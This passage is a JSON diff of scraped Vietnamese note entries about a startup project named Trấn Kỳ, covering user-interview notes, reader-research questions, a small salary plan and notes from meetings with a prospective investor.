"2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "53" }, { - "Tiêu đề": "Cần lên kế hoạch từng tuần", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách lên kế hoạch sử dụng tiền/Cần lên kế hoạch từng tuần", + "Tiêu đề": "Hải Yến", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Kết quả/Hải Yến", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng:: [[Cần xét cặn kẽ từng hạng mục]]\r\nNhu cầu người dùng:: [[Việc phân loại thủ công là vấn đề lớn]]\r\nTính năng::\r\n", + "Toàn bộ nội dung": "bấm vào bài lời mời vì tò mò\r\n→ để ý tới nghiên cứu người dùng vì mình là người dùng\r\n→ ko nghĩ là giả thiết hoặc thành quả mong muốn con số thật\r\n→ phân loại chi tiêu: hiểu là ko phải nhập tay, chỉ là cơ bản thôi rồi nó sẽ lọc ra cho mình\r\n→ đọc thấy cái bảng là thấy đủ hiểu\r\n→ thoát\r\n\r\ncần biết tác dụng của nó và quy trình, report cuối tháng\r\n\r\n\r\ncon số ko ấn tượng, ko ý nghĩa\r\n\r\nbài tổng quan \r\n\r\ntính là có deadline, muốn biết là \r\n\r\ntôi đã nghiên cứu nó trong khoảng thời igan nào, chi phí để phát triển nó là bao nhiêu, được phản hồi ngay lúc đó luôn\r\n\r\nthảo luận thế nào là đủ sâu, thế nào là bao quét, các nghiên cứu về tư duy google đc mà\r\nko có con số gì cả\r\nsự tự tin, bộ vậy trước giờ tôi ko tự tin à\r\nthấy nút ko thuyết phục nên ko bấm vào\r\n\r\nkiếm tiền là điều hiển nhiên, vô vị là dùng tiền vào việc khác\r\n90 hoặc 99% là giải quyết bằng tiền\r\nko phải ai cũng thấy việc kiếm tiền là vô vị. Công việc rất áp lực nhưng cũng rất happy\r\nCó nhiều hoạt động cộng đồng cho sự thú vị nhanh, tức thời hơn là cái startup này. VD: từ thiện, thăm trại trẻ mồ côi\r\n\r\nnhiều nguồn doanh thu là bao nhiêu. 5 có thể nhiều, 200 cũng có thể là ít\r\nngười rất bận rộn không biết mình tiết kiệm bao nhiêu tiền mỗi tháng\r\n\r\nđáng tin là số người trong bao lâu\r\n\r\nlàm slide để thuyết phục 5 người thì hay hơn là làm web rồi đi hỏi từng người\r\n\r\nhiểu cảm giác của người làm startup, quá hiểu nó có vấn đề gì\r\ncó 2 website trước rồi cũng bỏ, tên miền ko hợp, giao diện ko ok. Web đc khen là đẹp, logo . Thấy anh có vấn đề gì, thấy mà ko nói gì thì cắn rứt\r\n\r\nhiện tại thấy hay vì có khả năng gõ tắt, dùng mấy app kia thấy nhập mất thời gian và hay quên \r\nđủ nghiêm khắc với mình, VD cần đạt mục tiêu để tiết kiệm để cuối năm làm gì đó\r\nhiện tại ko cần quá chi \r\nchiết tính: chi phí ko cố định, đến hôm khascch dùng thì giá cao hơn \r\nnền tảng dành riêng cho du lịch: tourwell, nhanh.vn. Chưa dùng vì khách chưa nhiều\r\n[Elena Viet Nam Travel - Elena Viet Nam Travel](https://elenavietnamtravel.com/ \"Elena Viet Nam Travel - Elena Viet Nam Travel\")\r\nsẵn sàng bỏ nhiều tiền nhưng nó ko giải quyết đc vấn dề . Hiệu quả ở mức nào\r\ntiết kiệm thời gian\r\ncần con số chính xác: xe bao nhiêu tiền, ăn uống\r\ntổng hợp ra để báo giá \r\n- ks,\r\n- hdv,\r\n- xe,\r\n- vé,\r\n- ăn uống\r\n# Hành vi phân loại\r\n## Bạn có thể phân loại mẫu được không?\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bạn thường phải phân loại những gì?\r\n## Bao lâu bạn phân loại một lần?\r\n## Mỗi lần phân loại tốn bao nhiêu thời gian?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n# Giá trị của việc phân loại\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ giá như có một giải pháp giúp tự động hoá những chuyện này không?\r\n## Bạn có nghĩ giải pháp đó là đơn giản không?\r\n## Theo bạn tại sao bạn chưa có giải pháp đó?\r\n## Bạn nghĩ rằng giải pháp cho bạn nên là như thế nào?\r\n## Nếu là AI thì sao?\r\n## Bạn nghĩ giá của nó nên như thế nào?\r\n## Giả sử như bây giờ bạn đã có giải pháp đó luôn rồi, thì bạn có dành thời gian để áp dụng nó ngay không?\r\n### Điều gì quan trọng hơn cả việc đấy?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "54" }, { - "Tiêu đề": "Việc phân loại thủ công không phải là vấn đề", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách phân loại/Việc phân loại thủ công không phải là vấn đề", + "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Phân loại bằng tay]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "[[Giả thiết về tiếp nhận của người đọc]]\r\n[[Một số ví dụ về mục tiêu nghiên cứu]]\r\n\r\n# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n\t- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n\t- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được ý tưởng?\r\n\t- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n\t- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n\t- [ ] Thấy tò mò với những kế hoạch?\r\n\t- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n\t- [ ] Việc chuyển qua website khác không làm họ thấy có vấn đề?\r\n\t- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n\t- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n\t- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n\t- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Hiểu được điều mình có thể có ở đây?\r\n\t- [ ] Chủ động nhắn tin?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-10-31T10:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "55" }, { - "Tiêu đề": "Việc phân loại thủ công là vấn đề lớn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cách phân loại/Việc phân loại thủ công là vấn đề lớn", + "Tiêu đề": "Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]], [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "56" }, { - "Tiêu đề": "Cần nhập càng nhanh càng tốt", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cần nhập càng nhanh càng tốt", + "Tiêu đề": "Tổ chức nhỏ hoặc người cần kỷ luật tài chính", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Tổ chức nhỏ hoặc người cần kỷ luật tài chính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng:: [[Cần nhập lúc đi đường]]\r\nTính năng:: [[Nhập liệu được trên Google Keep]], [[Nhập liệu được trên Telegram]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "[[Một số ví dụ về mục tiêu nghiên cứu]]\r\n[[Phỏng vấn]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n\r\n| Thành phẩm cần có | Hành vi cần đạt được | Giả thiết | Công việc |\r\n| ----------------- | -------------------- | --------- | --------- |\r\n| Làm demo | | | |\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------------------ | --------- | --------- |\r\n| 3 người làm phát triển sản phẩm, khởi nghiệp, dự án nhận phỏng vấn | | |\r\n| 3 người làm tài chính nhận phỏng vấn | | |\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Nghiên cứu người dùng\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[4]\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-10-31T12:09:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "57" }, { - "Tiêu đề": "Cần nhập lúc đi đường", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Cần nhập lúc đi đường", + "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Tổ chức nhỏ/Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Nhập được trên điện thoại]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "- Họ đã tìm những giải pháp nào rồi\r\n- Điều gì khiến họ không dùng những giải pháp đó\r\n- Chi phí giải pháp có sẵn\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "58" }, { - "Tiêu đề": "Chỉ cần xét những mục phổ biến", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Hệ thống phân loại/Chỉ cần xét những mục phổ biến", + "Tiêu đề": "Kế hoạch sử dụng tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Kế hoạch sử dụng tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]], [[Phân loại tự động theo mô hình ngôn ngữ lớn]], [[Chỉ có vài trường cơ bản]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\r\n| -------------------------- | --------- | --------- |\r\n| Trả lương Lộc (fulltime) | | 8 tr |\r\n| Trả lương Thịnh (parttime) | | 3 tr |\r\n| Server | | |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "59" }, { - "Tiêu đề": "Cần xét cặn kẽ từng hạng mục", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Hệ thống phân loại/Cần xét cặn kẽ từng hạng mục", + "Tiêu đề": "J.D. Everest", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Nhà đầu tư/J.D. Everest", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "# Buổi gặp 1\r\n## Nội dung chính\r\nĐể đấu với những hãng kia thì phải có b2b, mà như vậy thì phải cần data lớn. Có data thì mới scale đc. Đây không phải là vấn đề về kỹ thuật, mà là vấn đề về kinh doanh.\r\nsiri mỗi lần ra chức năng mới đều là đi sát nhập với mấy cái này\r\n\r\nBên đó làm tất cả những vấn đề như sale, media, marking, pháp lý, thuế, tư vấn gọi vốn. Mỗi một dự án nếu bán thành công thì sau khi trừ hết chi phí thì lợi nhuận lấy 20%. Nếu bán lại thì lấy 10%. Nếu họ thấy ko đc thì rút nên họ ko sợ lỗ, nhưng sẽ mất chi phí cơ hội vì phải đi bán cho mình. Quan trọng là có sale đc \r\n\r\nQuy trình: Nhật tự trả tiền lập công ty. Sau khi có công ty thì sẽ có pháp nhân, điều lệ. Ko cần vốn ban đầu để chạy. Buổi sau sẽ làm term sheet. Khi bán được cho khách thì sẽ báo giá chi tiết, nhận tiền đặt cọc thì sẽ làm.\r\n\r\nĐầu tiên sẽ đánh thị trường Hàn Quốc trước vì bọn này mới thắng crypto. Khả năng ăn là 70%.\r\n\r\nHiện tại chưa hiểu gì về QC nên không nói gì cả. Họ chỉ cần một mình Nhật và cái code/công nghệ lõi. Cùng lắm nếu chia cho bạn bè thì mỗi người nhận 5%. Nếu QC thì mới cần tất cả mọi người tham gia.\r\n\r\n## Lý do cần tốc độ\r\nKo có tốc độ thì ko phát triển đc, đối thủ ăn trước mình\r\n\r\n## Lý do gặp Nhật\r\nBan đầu nhắn \"hay quá\" chỉ là vì ý tưởng của cái app cho cuộc sống của mình chứ chưa có gì cả. Khi Nhật nhắn thì nhận gặp vì là bạn bè lâu lâu cũng muốn nói. Ngồi nói chuyện thì mới biết có công nghệ lõi là NLP thì mới thấy cơ hội làm ăn.\r\nVì sao từ lúc đó không tìm hiểu nữa?\r\nKhi nào thì tính tìm hiểu tiếp? \r\nTại sao lúc đó ko muốn gặp để tìm hiểu về cái app?\r\n\r\n## Về J.D. Everest\r\nNhững công ty quản lý tài sản gia đình (family office) như của Hoàng gia Anh,\r\ncapital trust fund\r\nequity fund: tài sản (đất, cổ phiếu, crypto) \r\nsinking fund: tiền còn dư từ capital fund,\r\n\r\n13, 14 công ty quản lý tài sản gia đình\r\ngiới thiệu private banking bên đay\r\n\r\nfund để phát triển\r\n\r\n[LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/)\r\n- Thạc sĩ hệ thống thông tin\r\n- Founder Yeah1TV, phim Để Mai Tính, Long Ruồi\r\n- Đồng sáng lập Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF) (❓không tìm thấy website?) \r\n- Làm việc với bộ khoa học kỹ thuật về không gian làm việc cho startup\r\n\r\n[Huy Nguyen](https://www.facebook.com/profile.php?id=100000718890989)\r\n\r\n\r\n# Câu hỏi cho lần gặp thứ 2\r\n- Tại sao thấy nó tiềm năng?\r\n- Mình có bàn về kế hoạch, chiến lược phát triển không? Nếu có bàn thì cũng là tham gia phát triển rồi? Nếu không bàn thì sao lên kế hoạch truyền thông, tư vấn và đi bán được?\r\n- Anh muốn nó được phát triển thế nào?\r\n- Vì sao những cách phát triển khác anh không hứng thú?\r\n- Để nó đạt được điều anh muốn anh nghĩ nó cần những điều gì?\r\n- Có những dự án nào anh quyết định không đầu tư? Tại sao?\r\n- Anh có thể nói sơ qua về Quỹ Đầu tư Khởi nghiệp Quốc gia không?\r\n- Anh nghĩ sao về những dự án mã nguồn mở mà vẫn được đầu tư như deno, [langchain](https://blog.langchain.dev/announcing-our-10m-seed-round-led-by-benchmark/), redhat?\r\n- Bán ở đây là bán cho doanh nghiệp, hay là pitch với nhà đầu tư?\r\n- Những dự án như doodle one, Rossor scale đc như thế nào? \r\n\r\n\r\nmột bạn dùng nó với mục đích phân loại file khi làm phim tài liệu\r\n**Ko hiểu về mục tiêu của QC** mục tiêu của AAA là tạo ra một sân chơi. Anh tạo ra quỹ khởi nghiệp cũng giống như tạo ra một sân chơi\r\n**Thấy lơ lửng** Điều gì khiến anh thấy nghệ thuật ko lơ lửng\r\n**Thấy không liên quan** Điều gì khiến AAA thấy nghệ thuật, thời trang, âm nhạc liên quan tới nhau?\r\nBước vào cuộc nói chuyện với việc muốn gặp bạn cũ, nhưng nó bước ra khỏi cuộc nói chuyện đó bằng một cơ hội đầu tư hấp dẫn\r\n\r\n# Buổi 3\r\n- [ ] Các buổi làm việc của chúng ta sẽ thế nào? Một tuần gặp bao nhiêu lần? \r\n- [ ] Dự đoán bao lâu thì sẽ bán được hợp đồng đầu tiên? Giá trị khoảng bao nhiêu? Làm sao để đảm bảo bọn em giữ được đúng số tiền?\r\n- [ ] Điều gì khiến em đảm bảo là bên anh sẽ chịu bán hàng? Mọi người có thể không bán gì cả nhưng vẫn ăn được tiền\r\n- [ ] Có dự án nào anh thấy scale được nhưng anh cũng vẫn từ chối ko?\r\n- [ ] Đâu là mức anh nghĩ là không còn đáng để anh đầu tư?\r\n- [ ] Có những thứ gì anh đã hy sinh scale để có nó? \r\n\t- [ ] Nếu là để làm truyền thông, thương hiệu thì anh muốn hướng đến những đối tượng nào? \r\n\t- [ ] CSR\r\n\t- [ ] Nếu là những người có chuyên môn về phát triển cộng đồng thì anh thấy sao? \r\n- [ ] Điều gì khiến mình có thể chiếm lĩnh thị trường tốt hơn MoneyLover?\r\n- [ ] Điều gì khiến anh đầu tư vào Việt Sử Liên Minh, ROSSOR, Music Light? Chúng scale được thế nào? \r\n\t- [ ] Anh biết họ thế nào? \r\n\t- [ ] Bên anh bán những thứ gì? \r\n- [ ] Bọn em có quyền quy định vào văn hoá công ty thế nào?\r\n\t- [ ] Bọn em quyết định tốc độ làm việc. Nếu có điều khoản yêu cầu khách hàng chờ thì có được không?\r\n\r\nMời mọi người thuyết phục em rằng làm việc với mọi người là điều tốt nhất cho Trí\r\nChúng ta cũng đầu tư thời gian vào cho nhau rồi. Bây giờ mà lại không thành thì cũng phí cho cả hai. Nhưng cũng không thể vì thấy phí\r\n\r\n- [ ] Anh đã đầu tư vào startup tech nào rồi?\r\n- [ ] Điều gì ngăn anh không tham gia rồi ăn cắp code?\r\n- [ ] Rốt cuộc hình thức của mình là gì? Vì bọn anh không đầu tư tiền mà đầu tư công sức, lại còn quyết định cả kế hoạch thì đó là coreteam luôn rồi? Nếu như bọn em không ra quyết định được thì thực chất bọn em chỉ là thuê ngoài của tụi anh thôi?\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5A" }, { - "Tiêu đề": "Không đủ kiên nhẫn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng/Khả năng sử dụng/Không đủ kiên nhẫn", + "Tiêu đề": "Tìm nhà đầu tư vào Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Quỹ/Nhà đầu tư/Tìm nhà đầu tư vào Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu người dùng::\r\nTính năng:: [[Có GUI]], [[Có người hỗ trợ sâu]], [[Game hoá]]\r\n\r\nĐáp ứng cho nhu cầu:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền/1 Nhu cầu người dùng\" \r\nwhere contains(nhu-cầu-người-dùng, [[]])\r\n```\r\n", + "Toàn bộ nội dung": "# Trước khi có người chuyên đi kiếm tiền\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------ | ---------------------------------------------------------- | ------------------------- |\r\n| Có một người chuyên kiếm tiền | Người có hứng thú với kỹ năng gây quỹ hứng thú với Trấn Kỳ | [[Kiếm người kiếm tiền]] |\r\n| Có kế hoạch chi tiêu cho 3 tháng tới | | [[Kế hoạch sử dụng tiền]] |\r\n\r\n# Sau khi có người chuyên đi kiếm tiền\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------- | ----------------------------------------------- | ----------------------- |\r\n| Thu hút được 1 nhà đầu tư quan tâm mỗi tuần | Có người hỏi | |\r\n| [[Một khoản đầu tư 120tr cho 3 tháng]] | Đến lúc có được điều này thì Kendy vẫn còn sống | [[Quỹ\\|Kêu gọi đầu tư]] |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày 